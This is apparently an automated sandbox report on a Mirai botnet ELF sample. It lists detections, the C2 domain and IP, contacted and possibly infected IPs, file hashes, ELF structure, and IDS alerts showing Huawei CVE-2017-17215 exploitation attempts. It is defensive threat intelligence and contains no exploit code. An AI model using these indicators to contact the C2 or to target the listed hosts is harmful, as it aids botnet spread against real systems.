Hc4cUTxU09.elf	100%	Avira	EXP/ELF.Mirai.Hua.c
Hc4cUTxU09.elf	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
asdsdfjsdfsd.indy	5.181.80.111	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	Hc4cUTxU09.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	Hc4cUTxU09.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.60.37.87	unknown	Mauritius	30969	ZOL-ASGB	false
41.82.95.123	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
156.102.37.23	unknown	United States	393504	XNSTGCA	false
94.127.213.170	unknown	Jordan	9038	BAT-AS9038JO	false
102.130.84.193	unknown	South Africa	328375	Vlocity-CommunicationsZA	false
197.4.200.47	unknown	Tunisia	5438	ATI-TN	false
41.203.40.73	unknown	South Africa	36968	ECN-AS1ZA	false
197.140.232.156	unknown	Algeria	36891	ICOSNET-ASDZ	false
156.35.158.195	unknown	Spain	766	REDIRISRedIRISAutonomousSystemES	false
41.12.83.193	unknown	South Africa	29975	VODACOM-ZA	false
181.17.147.129	unknown	Venezuela	27889	TelecomunicacionesMOVILNETVE	false
190.155.178.237	unknown	Ecuador	14522	SatnetEC	false
41.51.170.28	unknown	South Africa	37168	CELL-CZA	false
41.214.230.3	unknown	Morocco	36925	ASMediMA	false
197.13.57.237	unknown	Tunisia	37504	MeninxTN	false
156.234.199.238	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	false
196.142.113.104	unknown	Egypt	36935	Vodafone-EG	false
156.97.30.177	unknown	Chile	393504	XNSTGCA	false
120.14.97.220	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
41.37.180.61	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.214.107.254	unknown	Nigeria	198504	LU1AE	false
156.191.96.99	unknown	Egypt	36992	ETISALAT-MISREG	false
156.55.64.41	unknown	United States	20746	ASN-IDCTNOOMINCIT	false
197.191.38.216	unknown	Ghana	37140	zain-asGH	false
92.12.56.70	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	false
196.108.245.58	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
156.216.92.52	unknown	Egypt	8452	TE-ASTE-ASEG	false
122.11.98.120	unknown	China	134548	DXTL-HKDXTLTseungKwanOServiceHK	false
197.240.45.192	unknown	unknown	37705	TOPNETTN	false
41.202.62.188	unknown	South Africa	25818	CMCNETWORKSZA	false
102.215.238.77	unknown	unknown	36926	CKL1-ASNKE	false
41.187.12.190	unknown	Egypt	20928	NOOR-ASEG	false
156.38.239.157	unknown	South Africa	37153	xneeloZA	false
92.222.205.181	unknown	France	16276	OVHFR	false
45.197.161.40	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
102.70.101.59	unknown	Malawi	37294	TNMMW	false
197.153.85.39	unknown	Morocco	36925	ASMediMA	false
41.21.252.30	unknown	South Africa	36994	Vodacom-VBZA	false
37.238.155.97	unknown	Iraq	50710	EARTHLINK-ASIQ	false
41.7.94.160	unknown	South Africa	29975	VODACOM-ZA	false
156.55.53.182	unknown	United States	22146	LANDAMUS	false
37.91.2.145	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
197.10.137.78	unknown	Tunisia	5438	ATI-TN	false
41.252.35.40	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
41.117.2.78	unknown	South Africa	16637	MTNNS-ASZA	false
197.69.35.34	unknown	South Africa	16637	MTNNS-ASZA	false
41.150.142.12	unknown	South Africa	5713	SAIX-NETZA	false
197.163.51.134	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.254.22.215	unknown	Seychelles	394281	XHOSTSERVERUS	false
156.79.242.147	unknown	United States	11363	FUJITSU-USAUS	false
41.239.243.27	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.42.142.190	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.146.203.220	unknown	United States	1448	UNITED-BROADBANDUS	false
190.146.201.68	unknown	Colombia	10620	TelmexColombiaSACO	false
197.36.57.129	unknown	Egypt	8452	TE-ASTE-ASEG	false
138.153.195.181	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
197.217.213.46	unknown	Angola	11259	ANGOLATELECOMAO	false
197.182.169.94	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
154.225.162.107	unknown	Uganda	37075	ZAINUGASUG	false
41.21.252.55	unknown	South Africa	36994	Vodacom-VBZA	false
41.252.35.17	unknown	Libyan Arab Jamahiriya	21003	GPTC-ASLY	false
138.211.142.240	unknown	New Zealand	2379	CENTURYLINK-LEGACY-EMBARQ-WNPKUS	false
94.122.216.102	unknown	Turkey	12978	DOGAN-ONLINETR	true
107.116.47.21	unknown	United States	7018	ATT-INTERNET4US	false
41.216.98.182	unknown	Mauritius	37006	LiquidTelecommunicationRwandaRW	false
41.60.172.94	unknown	Mauritius	37146	realtime-asZM	false
156.154.216.72	unknown	United States	19905	NEUSTAR-AS6US	false
197.16.172.185	unknown	Tunisia	37693	TUNISIANATN	false
196.44.43.194	unknown	South Africa	15022	ADEPT-ZA	false
197.96.124.86	unknown	South Africa	3741	ISZA	false
157.42.153.34	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
41.90.181.184	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
197.143.249.13	unknown	Algeria	36891	ICOSNET-ASDZ	false
41.92.95.89	unknown	Morocco	36925	ASMediMA	false
197.190.151.180	unknown	Ghana	37140	zain-asGH	false
41.95.229.230	unknown	Sudan	36998	SDN-MOBITELSD	false
154.205.78.149	unknown	Seychelles	8100	ASN-QUADRANET-GLOBALUS	false
41.165.243.52	unknown	South Africa	36937	Neotel-ASZA	false
154.248.132.57	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.46.206.218	unknown	United States	3527	NIH-NETUS	false
156.108.54.134	unknown	United States	36081	STATE-OF-COLORADO-MNT-NETWORKUS	false
186.129.109.61	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
156.73.167.238	unknown	United States	2024	NUUS	false
181.167.201.19	unknown	Argentina	10318	TelecomArgentinaSAAR	false
156.214.15.194	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.128.184.251	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.155.237.228	unknown	Egypt	37069	MOBINILEG	false
156.231.181.40	unknown	Seychelles	26484	IKGUL-26484US	false
41.104.73.253	unknown	Algeria	36947	ALGTEL-ASDZ	false
154.203.87.9	unknown	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	false
156.61.32.195	unknown	United Kingdom	39400	LBH-ASCountyCouncilGB	false
197.18.225.70	unknown	Tunisia	37693	TUNISIANATN	false
156.177.157.50	unknown	Egypt	36992	ETISALAT-MISREG	false
186.193.192.97	unknown	Brazil	262730	BytewebComunicacaoMultimidiaLtdaBR	false
197.75.233.41	unknown	South Africa	16637	MTNNS-ASZA	false
41.77.12.147	unknown	Malawi	37098	globe-asMW	false
197.107.75.141	unknown	South Africa	37168	CELL-CZA	false
197.121.135.23	unknown	Egypt	36992	ETISALAT-MISREG	false
197.229.182.140	unknown	South Africa	37457	Telkom-InternetZA	false
41.202.14.205	unknown	Ghana	36961	ZIPNETGH	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.203.40.73	Vu6DZAri3e.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	3yXKMhVnoV.elf	Get hash	malicious	Mirai	Browse
41.12.83.193	arm7-20231214-2132.elf	Get hash	malicious	Mirai	Browse
	8iEESoleF3.elf	Get hash	malicious	Mirai, Moobot	Browse
	3fqW7J4FaU.elf	Get hash	malicious	Mirai, Moobot	Browse
197.140.232.156	HAX8r8opjz.elf	Get hash	malicious	Mirai	Browse
	Wwk9E3Ks6a.elf	Get hash	malicious	Mirai, Moobot	Browse
	bk.arm4-20220930-2026.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.Siggen.9999.27627.8892	Get hash	malicious	Mirai	Browse
	notabotnet.arm	Get hash	malicious	Mirai	Browse
	uwgXkY20gB	Get hash	malicious	Mirai	Browse
41.60.37.87	QVfxGWnEbX.elf	Get hash	malicious	Mirai	Browse
	Qp5hnRxb0D.elf	Get hash	malicious	Mirai, Moobot	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	z0r0.x86.elf	Get hash	malicious	Mirai	Browse
	i2hCoUCBwo.elf	Get hash	malicious	Mirai, Moobot	Browse
	dPqwIfAuPS.elf	Get hash	malicious	Mirai	Browse
41.82.95.123	notabotnet.i486-20220921-0647.elf	Get hash	malicious	Mirai	Browse
156.102.37.23	lcTP2JFTV5.elf	Get hash	malicious	Mirai, Moobot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
asdsdfjsdfsd.indy	5EHBWChBlT.elf	Get hash	malicious	Mirai	Browse	37.221.67.135
asdsdfjsdfsd.indy	JGceUPVTjp.elf	Get hash	malicious	Mirai	Browse	89.190.156.149

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SONATEL-ASAutonomousSystemEU	JGceUPVTjp.elf	Get hash	malicious	Mirai	Browse	41.82.8.152
	BA3TWTDFgH.elf	Get hash	malicious	Mirai	Browse	41.82.166.198
	YifocSAZV8.elf	Get hash	malicious	Mirai	Browse	41.82.47.241
	ucNsAA52u4.elf	Get hash	malicious	Mirai, Moobot	Browse	41.82.95.130
	bn0b3xlHFZ.elf	Get hash	malicious	Mirai, Moobot	Browse	41.83.192.127
	nig.x86.elf	Get hash	malicious	Mirai	Browse	41.82.47.210
	x86_64-20231216-1307.elf	Get hash	malicious	Mirai	Browse	41.214.89.15
	arm4-20231216-1200.elf	Get hash	malicious	Mirai	Browse	41.214.53.42
	arm5-20231215-1038.elf	Get hash	malicious	Mirai	Browse	41.83.199.4
	x86-20231215-0918.elf	Get hash	malicious	Mirai	Browse	41.82.220.214
	arm7-20231214-0641.elf	Get hash	malicious	Mirai	Browse	41.83.26.205
	x86-20231214-0641.elf	Get hash	malicious	Mirai	Browse	41.83.96.226
	Vzqkkay7zK.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.82.166.194
	LLpPtU43x8.elf	Get hash	malicious	Mirai	Browse	41.82.166.193
	mipsel.elf	Get hash	malicious	Mirai	Browse	41.83.192.154
	mips.elf	Get hash	malicious	Mirai	Browse	41.82.47.252
	i586.elf	Get hash	malicious	Mirai	Browse	41.82.95.111
	mUZS5TqzCm.elf	Get hash	malicious	Mirai	Browse	154.124.101.42
	YEnJbXAPeu.elf	Get hash	malicious	Mirai	Browse	41.83.26.251
	2x40OMRCkY.elf	Get hash	malicious	Mirai	Browse	41.83.74.172
ZOL-ASGB	4odP2y5EjF.elf	Get hash	malicious	Mirai	Browse	41.60.37.22
	BA3TWTDFgH.elf	Get hash	malicious	Mirai	Browse	41.60.37.40
	ePF37eYz8X.elf	Get hash	malicious	Mirai	Browse	41.60.62.45
	lpZunDkkVn.elf	Get hash	malicious	Mirai, Moobot	Browse	41.60.98.20
	bHAYs5uAfu.elf	Get hash	malicious	Mirai, Moobot	Browse	41.60.103.154
	nig.x86_64.elf	Get hash	malicious	Mirai	Browse	41.60.62.88
	nig.arm7.elf	Get hash	malicious	Mirai	Browse	41.60.37.45
	mpsl-20231216-1307.elf	Get hash	malicious	Mirai	Browse	41.175.94.117
	arm7-20231216-1225.elf	Get hash	malicious	Mirai	Browse	41.60.37.41
	arm7-20231214-0641.elf	Get hash	malicious	Mirai	Browse	41.60.74.77
	Vzqkkay7zK.elf	Get hash	malicious	Gafgyt, Mirai	Browse	41.60.62.69
	x86_64.elf	Get hash	malicious	Mirai	Browse	41.60.86.38
	il64HPM7Rx.elf	Get hash	malicious	Mirai	Browse	41.60.62.94
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.60.49.56
	skid.arm7.elf	Get hash	malicious	Mirai	Browse	41.60.86.79
	arm7-20231108-2235.elf	Get hash	malicious	Mirai, Moobot	Browse	41.60.37.63
	1u31ptQsf6.elf	Get hash	malicious	Okiru	Browse	41.175.64.244
	oKToHgW7tv.elf	Get hash	malicious	Mirai	Browse	41.60.86.23
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai	Browse	41.60.37.84
	pkZ5uRHF7Y.elf	Get hash	malicious	Mirai	Browse	41.60.37.86
XNSTGCA	5EHBWChBlT.elf	Get hash	malicious	Mirai	Browse	156.125.113.33
	JGceUPVTjp.elf	Get hash	malicious	Mirai	Browse	156.102.13.10
	hfJupY4dpE.elf	Get hash	malicious	Mirai	Browse	156.120.5.52
	pTr19RmPcX.elf	Get hash	malicious	Mirai	Browse	156.97.29.234
	4odP2y5EjF.elf	Get hash	malicious	Mirai	Browse	156.100.32.244
	x86.elf	Get hash	malicious	Mirai	Browse	156.96.173.195
	x86.elf	Get hash	malicious	Mirai	Browse	156.123.157.228
	telx86-20231224-0150.elf	Get hash	malicious	Mirai	Browse	156.120.83.250
	telarm-20231224-0150.elf	Get hash	malicious	Mirai	Browse	156.123.157.249
	telarm7-20231224-0150.elf	Get hash	malicious	Mirai	Browse	156.126.238.238
	Co8GEPjv8j.elf	Get hash	malicious	Mirai	Browse	156.97.77.180
	GenOJdFvy7.elf	Get hash	malicious	Mirai	Browse	156.126.16.79
	mUZS5TqzCm.elf	Get hash	malicious	Mirai	Browse	156.102.62.59
	il64HPM7Rx.elf	Get hash	malicious	Mirai	Browse	156.120.142.6
	vvV3pyLNs0.elf	Get hash	malicious	Mirai	Browse	156.121.241.11
	YEnJbXAPeu.elf	Get hash	malicious	Mirai	Browse	156.122.79.231
	m7Bm4mCkhy.elf	Get hash	malicious	Mirai	Browse	156.123.164.31
	2x40OMRCkY.elf	Get hash	malicious	Mirai	Browse	156.103.182.30
	LxeFp9UNtA.elf	Get hash	malicious	Mirai, Moobot	Browse	156.100.85.89
	yP1n2CG3Da.elf	Get hash	malicious	Mirai	Browse	156.104.246.72

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.483221028190951
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	Hc4cUTxU09.elf
File size:	66'704 bytes
MD5:	7444d9e3481a7f0fdf3beb05a7835cd5
SHA1:	c42f7117bd7f2fb5d99b17c0829f4940f9cbe064
SHA256:	184726be4b13d36e7e5101009cdcd2ba59a63aa782ffec6cc2fe93419df7d838
SHA512:	d81a169149e43abce49d150df2e7fd05c3c810ed4d0f5721767d809579796c997ddebc56037ce5153df319867d7382814b7c72ccb5e6e380adc7eb75ea4feed9
SSDEEP:	1536:ow4DoI9X+0vyKy5ge8+vuSU430wgKq7Wi3RrVtrn2s:V40Ih++yKU58+7U43EKRuJX2s
TLSH:	E0534AC9EA43E4F1FC570975113BA7338632FA3A0079E657C365AA32ED92500E61B79C
File Content Preview:	.ELF....................d...4...........4. ...(..........................................................W..........Q.td............................U..S.......w....h........[]...$.............U......=.....t..5....$......$.......u........t....h.}..........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	66304
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xdc16	0x0	0x6	AX	16
.fini	PROGBITS	0x8055cc6	0xdcc6	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8055ce0	0xdce0	0x2100	0x0	0x2	A	32
.ctors	PROGBITS	0x8058000	0x10000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8058008	0x10008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8058020	0x10020	0x2a0	0x0	0x3	WA	32
.bss	NOBITS	0x80582c0	0x102c0	0x5440	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x102c0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0xfde0	0xfde0	6.5481	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x10000	0x8058000	0x8058000	0x2c0	0x5700	3.5065	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.2394.120.20.1840956372152835222 12/30/23-07:15:47.300043	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40956	37215	192.168.2.23	94.120.20.18
192.168.2.23154.23.134.7355752372152835222 12/30/23-07:15:50.287760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55752	37215	192.168.2.23	154.23.134.73
192.168.2.23156.253.45.16953042372152835222 12/30/23-07:15:30.717600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53042	37215	192.168.2.23	156.253.45.169
192.168.2.23156.253.41.5047374372152829579 12/30/23-07:15:47.021618	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47374	37215	192.168.2.23	156.253.41.50
192.168.2.2394.121.152.2539552372152835222 12/30/23-07:15:23.427289	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39552	37215	192.168.2.23	94.121.152.25
192.168.2.2394.123.88.5738232372152829579 12/30/23-07:15:23.954177	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38232	37215	192.168.2.23	94.123.88.57
192.168.2.23156.77.139.9747302372152835222 12/30/23-07:14:05.313724	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47302	37215	192.168.2.23	156.77.139.97
192.168.2.2337.16.13.7145674372152835222 12/30/23-07:14:45.021139	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45674	37215	192.168.2.23	37.16.13.71
192.168.2.23154.215.71.4656186372152835222 12/30/23-07:14:28.310247	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56186	37215	192.168.2.23	154.215.71.46
192.168.2.2394.123.148.18836902372152829579 12/30/23-07:15:30.130385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36902	37215	192.168.2.23	94.123.148.188
192.168.2.2394.123.22.3043280372152829579 12/30/23-07:14:47.486787	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43280	37215	192.168.2.23	94.123.22.30
192.168.2.2341.46.215.22447400372152835222 12/30/23-07:15:07.430465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47400	37215	192.168.2.23	41.46.215.224
192.168.2.2394.123.37.23841874372152829579 12/30/23-07:15:50.565664	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41874	37215	192.168.2.23	94.123.37.238
192.168.2.23156.241.12.22735868372152835222 12/30/23-07:15:08.397792	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35868	37215	192.168.2.23	156.241.12.227
192.168.2.2394.121.152.2539552372152829579 12/30/23-07:15:23.427289	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39552	37215	192.168.2.23	94.121.152.25
192.168.2.2394.122.216.10247986372152835222 12/30/23-07:14:23.094707	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47986	37215	192.168.2.23	94.122.216.102
192.168.2.2394.123.143.17757082372152835222 12/30/23-07:15:24.521365	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57082	37215	192.168.2.23	94.123.143.177
192.168.2.23154.23.134.7355752372152829579 12/30/23-07:15:50.287760	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55752	37215	192.168.2.23	154.23.134.73
192.168.2.23107.178.163.12159174372152835222 12/30/23-07:14:16.623664	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59174	37215	192.168.2.23	107.178.163.121
192.168.2.2394.122.82.6454396372152829579 12/30/23-07:15:47.309378	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54396	37215	192.168.2.23	94.122.82.64
192.168.2.2394.122.124.23140622372152829579 12/30/23-07:15:15.157308	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40622	37215	192.168.2.23	94.122.124.231
192.168.2.2341.46.215.22447400372152829579 12/30/23-07:15:07.430465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47400	37215	192.168.2.23	41.46.215.224
192.168.2.23154.206.133.15238110372152835222 12/30/23-07:14:50.094918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38110	37215	192.168.2.23	154.206.133.152
192.168.2.23156.254.89.23657256372152835222 12/30/23-07:14:23.676682	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57256	37215	192.168.2.23	156.254.89.236
192.168.2.2394.122.216.10247986372152829579 12/30/23-07:14:23.094707	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47986	37215	192.168.2.23	94.122.216.102
192.168.2.23154.215.71.4656186372152829579 12/30/23-07:14:28.310247	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56186	37215	192.168.2.23	154.215.71.46
192.168.2.23154.38.240.18734874372152835222 12/30/23-07:13:57.856835	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34874	37215	192.168.2.23	154.38.240.187
192.168.2.23156.247.28.25338666372152829579 12/30/23-07:14:45.199276	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38666	37215	192.168.2.23	156.247.28.253
192.168.2.23156.230.24.19656368372152829579 12/30/23-07:15:15.774697	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56368	37215	192.168.2.23	156.230.24.196
192.168.2.23107.148.175.7357246372152829579 12/30/23-07:13:58.012980	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57246	37215	192.168.2.23	107.148.175.73
192.168.2.23156.254.89.23657256372152829579 12/30/23-07:14:23.676682	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57256	37215	192.168.2.23	156.254.89.236
192.168.2.2394.122.124.23140622372152835222 12/30/23-07:15:15.157308	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40622	37215	192.168.2.23	94.122.124.231
192.168.2.2394.123.143.17757082372152829579 12/30/23-07:15:24.521365	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57082	37215	192.168.2.23	94.123.143.177
192.168.2.23156.254.52.8642982372152829579 12/30/23-07:15:13.874917	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42982	37215	192.168.2.23	156.254.52.86
192.168.2.23156.254.68.19550716372152835222 12/30/23-07:15:31.017944	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50716	37215	192.168.2.23	156.254.68.195
192.168.2.23107.178.163.12159174372152829579 12/30/23-07:14:16.623664	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59174	37215	192.168.2.23	107.178.163.121
192.168.2.2392.95.251.24237922372152835222 12/30/23-07:15:23.665818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37922	37215	192.168.2.23	92.95.251.242
192.168.2.23222.186.3.8343122372152829579 12/30/23-07:14:28.324474	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43122	37215	192.168.2.23	222.186.3.83
192.168.2.23156.224.8.10836906372152835222 12/30/23-07:14:33.253115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36906	37215	192.168.2.23	156.224.8.108
192.168.2.2394.122.21.8659126372152829579 12/30/23-07:15:15.170645	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59126	37215	192.168.2.23	94.122.21.86
192.168.2.23154.206.133.15238110372152829579 12/30/23-07:14:50.094918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38110	37215	192.168.2.23	154.206.133.152
192.168.2.2345.138.70.14657834372152829579 12/30/23-07:13:56.532860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57834	37215	192.168.2.23	45.138.70.146
192.168.2.23156.77.139.9747302372152829579 12/30/23-07:14:05.313724	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47302	37215	192.168.2.23	156.77.139.97
192.168.2.23156.77.134.8054200372152829579 12/30/23-07:15:41.050395	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54200	37215	192.168.2.23	156.77.134.80
192.168.2.2337.16.13.7145674372152829579 12/30/23-07:14:45.021139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45674	37215	192.168.2.23	37.16.13.71
192.168.2.2345.43.239.19250470372152829579 12/30/23-07:15:11.563444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50470	37215	192.168.2.23	45.43.239.192
192.168.2.2394.123.22.3043280372152835222 12/30/23-07:14:47.486787	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43280	37215	192.168.2.23	94.123.22.30
192.168.2.23154.214.87.14358894372152829579 12/30/23-07:15:34.339311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58894	37215	192.168.2.23	154.214.87.143
192.168.2.2341.238.184.3935512372152829579 12/30/23-07:15:41.265272	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35512	37215	192.168.2.23	41.238.184.39
192.168.2.23156.241.12.22735868372152829579 12/30/23-07:15:08.397792	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35868	37215	192.168.2.23	156.241.12.227
192.168.2.23222.186.3.8343122372152835222 12/30/23-07:14:28.324474	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43122	37215	192.168.2.23	222.186.3.83
192.168.2.2394.121.115.2549662372152829579 12/30/23-07:15:49.903824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49662	37215	192.168.2.23	94.121.115.25
192.168.2.23156.254.36.3650508372152835222 12/30/23-07:14:28.610694	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50508	37215	192.168.2.23	156.254.36.36
192.168.2.23156.224.8.10836906372152829579 12/30/23-07:14:33.253115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36906	37215	192.168.2.23	156.224.8.108
192.168.2.23156.235.100.10742320372152835222 12/30/23-07:15:13.736018	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42320	37215	192.168.2.23	156.235.100.107
192.168.2.2394.123.77.17634208372152835222 12/30/23-07:15:41.207064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34208	37215	192.168.2.23	94.123.77.176
192.168.2.23154.38.240.18734874372152829579 12/30/23-07:13:57.856835	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34874	37215	192.168.2.23	154.38.240.187
192.168.2.2341.207.108.3340066372152835222 12/30/23-07:15:49.973375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40066	37215	192.168.2.23	41.207.108.33
192.168.2.2394.122.20.20646088372152835222 12/30/23-07:14:41.593005	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46088	37215	192.168.2.23	94.122.20.206
